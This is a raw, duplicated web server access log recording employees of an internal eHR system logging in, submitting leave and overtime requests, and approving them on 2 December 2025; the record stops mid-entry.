/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [02/Dec/2025:09:17:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 192.168.139.16 - - [02/Dec/2025:09:25:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:09:25:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 100.64.0.1 - - [02/Dec/2025:09:26:23 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0" 100.64.0.1 - - [02/Dec/2025:09:26:23 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [02/Dec/2025:09:28:27 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DED40F2873BABDAC5E444965BE8324E27CB7184AC59E2E976CDC0AFAD8D5713769E487CC6C7E006F622DE1325E4DAEA8F HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [02/Dec/2025:09:28:27 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DED40F2873BABDAC5E444965BE8324E27CB7184AC59E2E976CDC0AFAD8D5713769E487CC6C7E006F622DE1325E4DAEA8F HTTP/1.1" 200 - 192.168.185.139 - - [02/Dec/2025:09:28:30 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DED40F2873BABDAC5E444965BE8324E27CB7184AC59E2E976CDC0AFAD8D5713769E487CC6C7E006F622DE1325E4DAEA8F HTTP/1.1" 200 4163 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" 192.168.185.139 - - [02/Dec/2025:09:28:30 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DED40F2873BABDAC5E444965BE8324E27CB7184AC59E2E976CDC0AFAD8D5713769E487CC6C7E006F622DE1325E4DAEA8F HTTP/1.1" 200 4163 192.168.185.139 - - [02/Dec/2025:09:28:30 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DED40F2873BABDAC5E444965BE8324E27CB7184AC59E2E976CDC0AFAD8D5713769E487CC6C7E006F622DE1325E4DAEA8F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" 192.168.185.139 - - [02/Dec/2025:09:28:30 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 192.168.11.76 - - [02/Dec/2025:09:34:23 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:09:34:23 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.76 - - [02/Dec/2025:09:34:26 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:09:34:26 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.76 - - [02/Dec/2025:09:34:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7217 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:09:34:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7217 192.168.11.76 - - [02/Dec/2025:09:34:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:09:34:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.76 - - [02/Dec/2025:09:34:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:09:34:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.11.76 - - [02/Dec/2025:09:35:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:09:35:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 192.168.40.52 - - [02/Dec/2025:09:35:17 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:09:35:17 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.40.52 - - [02/Dec/2025:09:35:18 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:09:35:18 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.76 - - [02/Dec/2025:09:35:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:09:35:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.76 - - [02/Dec/2025:09:35:19 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120318%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:09:35:19 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120318%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 192.168.40.52 - - [02/Dec/2025:09:35:21 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:09:35:21 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:09:35:21 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:09:35:21 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.76 - - [02/Dec/2025:09:35:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6645 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:09:35:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6645 192.168.40.52 - - [02/Dec/2025:09:35:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:09:35:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.76 - - [02/Dec/2025:09:35:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 107653 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:09:35:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 107653 192.168.11.76 - - [02/Dec/2025:09:35:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 82551 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:09:35:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 82551 192.168.11.76 - - [02/Dec/2025:09:35:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 33146 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:09:35:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 33146 192.168.11.76 - - [02/Dec/2025:09:36:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 82551 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:09:36:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 82551 192.168.11.76 - - [02/Dec/2025:09:36:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 179494 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:09:36:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 179494 100.64.0.1 - - [02/Dec/2025:09:41:44 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 100.64.0.1 - - [02/Dec/2025:09:41:44 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:09:42:00 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" 100.64.0.1 - - [02/Dec/2025:09:42:00 +0800] "GET /favicon.ico HTTP/1.1" 404 209 192.168.12.59 - - [02/Dec/2025:09:42:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:42:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.59 - - [02/Dec/2025:09:42:47 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:42:47 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.59 - - [02/Dec/2025:09:43:03 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:43:03 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:09:43:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:43:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.12.59 - - [02/Dec/2025:09:43:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:43:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.12.59 - - [02/Dec/2025:09:43:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 19055 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:43:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 19055 192.168.12.59 - - [02/Dec/2025:09:43:34 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 5798 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:43:34 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 5798 192.168.12.59 - - [02/Dec/2025:09:45:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:09:45:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 121951 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 121951 192.168.12.59 - - [02/Dec/2025:09:45:23 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:23 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:09:45:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132676%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132676&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132676%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132676&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:09:45:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:09:45:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:09:45:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:09:45:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:26 +0800] "GET 